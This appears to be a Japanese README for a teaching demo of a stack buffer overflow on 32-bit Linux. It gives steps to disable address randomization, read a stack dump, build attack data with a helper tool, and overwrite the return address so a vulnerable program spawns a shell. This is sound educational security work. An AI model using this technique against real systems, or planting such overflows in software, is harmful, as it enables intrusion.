A simple buffer overflow vulnerability demo for IA-32
32ビットLinuxを対象にした,バッファオーバーフロー脆弱性の簡単なデモプログラムです.
- CPU: Intel Core i7
- OS: Linux (Ubuntu 14.04LTS), 32-bit
- C-compiler: gcc 4.8.4
- libc: glibc 2.19
make
問題なくコンパイルできれば,demo
および mkattack
という実行形式と,
shellcode.bin
というバイナリファイルが作成されるはずです.なお,
shellcode.bin
の作成に objcopy
を使用しています.これは通常 binutils
というパッケージに含まれています.
実行前にスタックアドレスのランダム化機能を無効にします.
sudo sysctl -w kernel.randomize_va_space=0
プログラム demo
は,ファイルに書き込まれた10進数値の二乗を出力するだけの簡単なプログラムです.以下のようにすると 1522756 が出力されます.
echo 1234 > normal.dat
./demo normal.dat
実行オプション -d
で関数 f
実行中のスタックを出力することができます.
./demo -d normal.dat
スタック出力は例えば以下のようになります.この出力では,関数 f
内で定義されたバッファ buf
の先頭アドレスからスタックの下(高位アドレス)に向かって表示します.1行は4バイト(32ビット)分の表示です.
----------------------------------------------
# | addr | uint | +0 +1 +2 +3 | 0123
----------------------------------------------
0 | bfffeb7c| 34333231 | 31 32 33 34 | 1234
1 | bfffeb80| 0804000a | 0a 00 04 08 | ....
2 | bfffeb84| 080481f8 | f8 81 04 08 | ....
3 | bfffeb88| 08048aeb | eb 8a 04 08 | ....
........
18 | bfffebc4| 00000000 | 00 00 00 00 | ....
19 | bfffebc8| bfffeff8 | f8 ef ff bf | ....
20 | bfffebcc| 08048981 | 81 89 04 08 | ....
21 | bfffebd0| bfffebe0 | e0 eb ff bf | ....
22 | bfffebd4| 00000400 | 00 04 00 00 | ....
この例の場合,バッファの先頭アドレスは 0xbfffeb7c です.バッファは64バイトなので,15行までがバッファの内容です.それ以降は他の変数やスタックサイズを調整するためのスタブ,そしてベースポインタおよびリターンアドレスと続きます.この例では20行目がリターンアドレスです.ここの内容をバッファの先頭アドレスに置き換えることで,関数から戻る際にバッファ内に格納されたコードを実行させることができます.
では,スタックの出力を参考にして攻撃用データを作成しましょう.作成を簡単にするためのプログラム mkattack
を用意してあります.このプログラムの第1引数は shellcode.bin
,第2引数はバッファ(buf
)の先頭からリターンアドレスまでのオフセット(32ビットワードの個数),第3引数は buf
の先頭アドレスです.上の例の場合,以下のようになります.
./mkattack shellcode.bin 20 0xbfffeb7c > attack.dat
こうして作られた攻撃用データを与えるとシェルが起動してプロンプトが表示されるはずです.
./demo attack.dat
実験が終わったら,スタック/ヒープアドレスのランダム化機構の設定を戻してください.Ubuntu等最近のLinuxディストリビューションではデフォルトで2(スタックおよびヒープの両方ともランダム化)になっていると思います.
sudo sysctl -w kernel.randomize_va_space=2